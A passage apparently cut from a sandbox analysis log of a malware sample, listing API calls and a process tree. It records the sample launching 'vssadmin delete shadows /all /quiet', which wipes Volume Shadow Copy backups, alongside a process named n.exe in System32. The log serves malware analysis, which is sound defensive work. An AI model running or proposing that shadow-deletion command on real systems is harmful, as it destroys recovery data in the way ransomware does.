lpStartupInfo=0x25f3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x25f360 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x25f360*(hProcess=0x50, hThread=0x54, dwProcessId=0xadc, dwThreadId=0xae0)) returned 1 [0043.689] CloseHandle (hObject=0x54) returned 1 [0043.689] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0043.689] GetProcessHeap () returned 0x3d0000 [0043.689] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eeb10 | out: hHeap=0x3d0000) returned 1 [0043.689] GetEnvironmentStringsW () returned 0x3eeb10* [0043.689] GetProcessHeap () returned 0x3d0000 [0043.689] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb0e) returned 0x3ef630 [0043.689] FreeEnvironmentStringsW (penv=0x3eeb10) returned 1 [0043.690] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x25ec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x25ec68, ReturnLength=0x0) returned 0x0 [0043.690] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd6000, lpBuffer=0x25eca0, nSize=0x380, lpNumberOfBytesRead=0x25ec60 | out: lpBuffer=0x25eca0*, lpNumberOfBytesRead=0x25ec60*=0x380) returned 1 [0043.690] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x1ec85000" os_pid = "0xad4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xa80" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0xad8 Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x748ae000" os_pid = "0xadc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xa80" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0xae0 Thread: id = 26 os_tid = 0xae8 Thread: id = 27 os_tid = 0xaec Thread: id = 28 os_tid = 0xaf0 Thread: id = 29 os_tid = 0xaf4 Process: id = "6" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x22977000" os_pid = "0xaf8" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xadc" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00053bdb" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 30 os_tid = 0xb14 Thread: id = 31 os_tid = 0xb10 Thread: id = 32 os_tid = 0xb0c Thread: id = 33 os_tid = 0xb08 [0054.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xced610 | out: lpSystemTimeAsFileTime=0xced610*(dwLowDateTime=0xa4087a50, dwHighDateTime=0x1d595b2)) [0054.002] GetCurrentProcessId () returned 0xaf8 [0054.002] GetCurrentThreadId () returned 0xb08 [0054.002] GetTickCount () returned 0x1148131 [0054.002] QueryPerformanceCounter (in: lpPerformanceCount=0xced618 | out: lpPerformanceCount=0xced618*=17424914973) returned 1 [0054.003] malloc (_Size=0x100) returned 0x248e80 [0074.598] free (_Block=0x248e80) Thread: id = 34 os_tid = 0xb04 Thread: id = 35 os_tid = 0xb00 Thread: id = 36 os_tid = 0xafc Thread: id = 51 os_tid = 0xb48 Thread: id = 58 os_tid = 0xbe4 Thread: id = 82 os_tid = 0x408 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xaf8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 37 os_tid = 0xa48 Thread: id = 38 os_tid = 0x83c Thread: id = 39 os_tid = 0x76c Thread: id = 40 os_tid = 0x758 Thread: id = 41 os_tid = 0x74c Thread: id = 42 os_tid = 0x72c Thread: id = 43 os_tid = 0x71c Thread: id = 44 os_tid = 0x718 Thread: id = 45 os_tid = 0x638 Thread: id = 46 os_tid = 0x154 Thread: id = 47 os_tid = 0x150 Thread: id = 48 os_tid = 0x12c Thread: id = 49 os_tid = 0x120 Thread: id = 50 os_tid = 0x3fc Thread: id = 59 os_tid = 0x314 Thread: id = 80 os_tid = 0x640 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1ea7d000" os_pid = "0xb38" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xaf8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00054938" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 52 os_tid = 0xb68 Thread: id = 53 os_tid = 0xb64 Thread: id = 54 os_tid = 0xb50 Thread: id = 55 os_tid = 0xb4c Thread: id = 56 os_tid = 0xb44 Thread: id = 57 os_tid = 0xb3c Thread: id = 83 os_tid = 0x2b4 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 60 os_tid = 0xa4c Thread: id = 61 os_tid = 0x9b0 Thread: id = 62 os_tid = 0x8d8 Thread: id = 63 os_tid = 0x88c Thread: id = 64 os_tid = 0x754 Thread: id = 65 os_tid = 0x704 Thread: id = 66 os_tid = 0x6e0 Thread: id = 67 os_tid = 0x6b0 Thread: id = 68 os_tid = 0x698 Thread: id = 69 os_tid = 0x678 Thread: id = 70 os_tid = 0x630 Thread: id = 71 os_tid = 0x610 Thread: id = 72 os_tid = 0x14c Thread: id = 73 os_tid = 0x140 Thread: id = 74 os_tid = 0x158 Thread: id = 75 os_tid = 0x294 Thread: id = 76 os_tid = 0x218 Thread: id = 77 os_tid = 0x230 Thread: id = 78 os_tid = 0x21c Thread: id = 79 os_tid = 0x1c4 Thread: id = 81 os_tid = 0x110 Thread: id = 84 os_tid = 0x410 Process: id = "10" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0x1ec48000" os_pid = "0x1ac" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 85 os_tid = 0x1b0 Thread: id = 86 os_tid = 0x1e4 Thread: id = 87 os_tid = 0x1e8 Thread: id = 88 os_tid = 0x2e0 Thread: id = 90 os_tid = 0x320 Thread: id = 100 os_tid = 0x14c Thread: id = 101 os_tid = 0x13c Thread: id = 102 os_tid = 0x188 Process: id = "11" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x1e317000" os_pid = "0x310" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x1ac" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 89 os_tid = 0x314 Thread: id = 91 os_tid = 0x32c Thread: id = 92 os_tid = 0x330 Thread: id = 93 os_tid = 0x334 Thread: id = 94 os_tid = 0x338 Thread: id = 95 os_tid = 0x33c Thread: id = 96 os_tid = 0x348 Thread: id = 97 os_tid = 0x34c Thread: id = 98 os_tid = 0x350 Thread: id = 99 os_tid = 0x354 Thread: id = 151 os_tid = 0x538 Process: id = "12" image_name = "userinit.exe" filename = "c:\\windows\\system32\\userinit.exe" page_root = "0x7ab5000" os_pid = "0x370" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x1ac" cmd_line = "C:\\Windows\\system32\\userinit.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 103 os_tid = 0x37c Thread: id = 271 os_tid = 0x4b0 Thread: id = 272 os_tid = 0x268 Process: id = "13" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x6e2d000" os_pid = "0x3a4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x370" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 104 os_tid = 0x3a8 Thread: id = 105 os_tid = 0x3d8 Thread: id = 106 os_tid = 0x14c Thread: id = 107 os_tid = 0x158 Thread: id = 108 os_tid = 0x188 Thread: id = 109 os_tid = 0x294 Thread: id = 110 os_tid = 0x12c Thread: id = 111 os_tid = 0x404 Thread: id = 112 os_tid = 0x40c Thread: id = 113 os_tid = 0x47c Thread: id = 128 os_tid = 0x4a4 Thread: id = 129 os_tid = 0x4a8 Thread: id = 130 os_tid = 0x4ac Thread: id = 131 os_tid = 0x4b0 Thread: id = 134 os_tid = 0x4cc Thread: id = 135 os_tid = 0x4d0 Thread: id = 136 os_tid = 0x4d4 Thread: id = 137 os_tid = 0x4d8 Thread: id = 138 os_tid = 0x4dc Thread: id = 139 os_tid = 0x500 Thread: id = 140 os_tid = 0x50c Thread: id = 141 os_tid = 0x518 Thread: id = 142 os_tid = 0x51c Thread: id = 150 os_tid = 0x520 Thread: id = 152 os_tid = 0x534 Thread: id = 153 os_tid = 0x540 Thread: id = 155 os_tid = 0x54c Thread: id = 157 os_tid = 0x558 Thread: id = 159 os_tid = 0x568 Thread: id = 160 os_tid = 0x5ac Thread: id = 168 os_tid = 0x5b4 Thread: id = 170 os_tid = 0x5c4 Thread: id = 171 os_tid = 0x5d8 Thread: id = 172 os_tid = 0x5e4 Thread: id = 175 os_tid = 0x5fc Thread: id = 176 os_tid = 0x60c Thread: id = 184 os_tid = 0x62c Thread: id = 203 os_tid = 0x638 Thread: id = 206 os_tid = 0x644 Thread: id = 282 os_tid = 0x4e0 Thread: id = 285 os_tid = 0x354 Thread: id = 296 os_tid = 0x640 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x175f4000" os_pid = "0x374" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cd2e" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 114 os_tid = 0x498 Thread: id = 115 os_tid = 0x490 Thread: id = 116 os_tid = 0x170 Thread: id = 117 os_tid = 0x174 Thread: id = 118 os_tid = 0xc8 Thread: id = 119 os_tid = 0x3f8 Thread: id = 120 os_tid = 0x3ec Thread: id = 121 os_tid = 0x3a0 Thread: id = 122 os_tid = 0x394 Thread: id = 123 os_tid = 0x390 Thread: id = 124 os_tid = 0x38c Thread: id = 125 os_tid = 0x380 Thread: id = 126 os_tid = 0x378 Thread: id = 127 os_tid = 0x4a0 Thread: id = 132 os_tid = 0x4b4 Thread: id = 133 os_tid = 0x4b8 Thread: id = 143 os_tid = 0x42c Thread: id = 144 os_tid = 0x428 Thread: id = 156 os_tid = 0x554 Thread: id = 215 os_tid = 0x714 Thread: id = 217 os_tid = 0x720 Thread: id = 218 os_tid = 0x724 Thread: id = 219 os_tid = 0x728 Thread: id = 220 os_tid = 0x72c Thread: id = 221 os_tid = 0x730 Thread: id = 222 os_tid = 0x738 Thread: id = 223 os_tid = 0x73c Thread: id = 224 os_tid = 0x740 Thread: id = 225 os_tid = 0x744 Thread: id = 226 os_tid = 0x748 Thread: id = 227 os_tid = 0x754 Thread: id = 228 os_tid = 0x75c Thread: id = 229 os_tid = 0x764 Thread: id = 230 os_tid = 0x76c Thread: id = 231 os_tid = 0x778 Thread: id = 232 os_tid = 0x77c Thread: id = 233 os_tid = 0x780 Thread: id = 234 os_tid = 0x784 Thread: id = 235 os_tid = 0x788 Thread: id = 236 os_tid = 0x78c Thread: id = 244 os_tid = 0x7c0 Thread: id = 246 os_tid = 0x7d8 Thread: id = 267 os_tid = 0x410 Thread: id = 268 os_tid = 0x48c Thread: id = 269 os_tid = 0x46c Thread: id = 273 os_tid = 0x4bc Thread: id = 275 os_tid = 0x214 Thread: id = 278 os_tid = 0x1d0 Thread: id = 279 os_tid = 0x1bc Thread: id = 280 os_tid = 0x4cc Thread: id = 355 os_tid = 0x14c Thread: id = 391 os_tid = 0x7b0 Process: id = "15" image_name = "bcssync.exe" filename = "c:\\program files\\microsoft office\\office14\\bcssync.exe" page_root = "0x7a83b000" os_pid = "0x4e0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe\" /DelayServices" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 145 os_tid = 0x4e4 Process: id = "16" image_name = "n.exe" filename = "c:\\windows\\system32\\n.exe" page_root = "0x7b344000" os_pid = "0x4e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "\"C:\\Windows\\System32\\n.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 146 os_tid = 0x4ec [0126.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xcfc49d40, dwHighDateTime=0x1d595b2)) [0126.279] GetCurrentProcessId () returned 0x4e8 [0126.279] GetCurrentThreadId () returned 0x4ec [0126.279] GetTickCount () returned 0x11350fe [0126.279] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=9116908218) returned 1 [0127.145] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\System32\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0127.145] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x5b0000 [0127.147] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.147] GetProcAddress (hModule=0x762e0000, lpProcName="FlsAlloc") returned 0x762f4f2b [0127.147] GetProcAddress (hModule=0x762e0000, lpProcName="FlsGetValue") returned 0x762f1252 [0127.147] GetProcAddress (hModule=0x762e0000, lpProcName="FlsSetValue") returned 0x762f4208 [0127.148] GetProcAddress (hModule=0x762e0000, lpProcName="FlsFree") returned 0x762f359f [0127.148] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.148] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.148] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.148] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.148] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.148] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.149] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.149] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.149] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.149] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.149] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.150] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.150] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.150] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.150] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.151] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0127.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x214) returned 0x5b07d0 [0127.151] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.151] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0127.151] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.151] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.151] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0127.152] GetCurrentThreadId () returned 0x4ec [0127.152] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\System32\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0127.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x5b09f0 [0127.152] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0127.152] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0127.152] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0127.152] SetHandleCount (uNumber=0x20) returned 0x20 [0127.152] GetCommandLineA () returned="\"C:\\Windows\\System32\\n.exe\" " [0127.152] GetEnvironmentStringsW () returned 0x609080* [0127.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0127.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x581) returned 0x5b11f8 [0127.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x5b11f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0127.152] FreeEnvironmentStringsW (penv=0x609080) returned 1 [0127.152] GetLastError () returned 0x0 [0127.152] SetLastError (dwErrCode=0x0) [0127.152] GetLastError () returned 0x0 [0127.152] SetLastError (dwErrCode=0x0) [0127.152] GetLastError () returned 0x0 [0127.153] SetLastError (dwErrCode=0x0) [0127.153] GetACP () returned 0x4e4 [0127.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x220) returned 0x5b1788 [0127.153] GetLastError () returned 0x0 [0127.153] SetLastError (dwErrCode=0x0) [0127.153] IsValidCodePage (CodePage=0x4e4) returned 1 [0127.153] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0127.153] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0127.153] GetLastError () returned 0x0 [0127.153] SetLastError (dwErrCode=0x0) [0127.153] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0127.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0127.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0127.153] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" 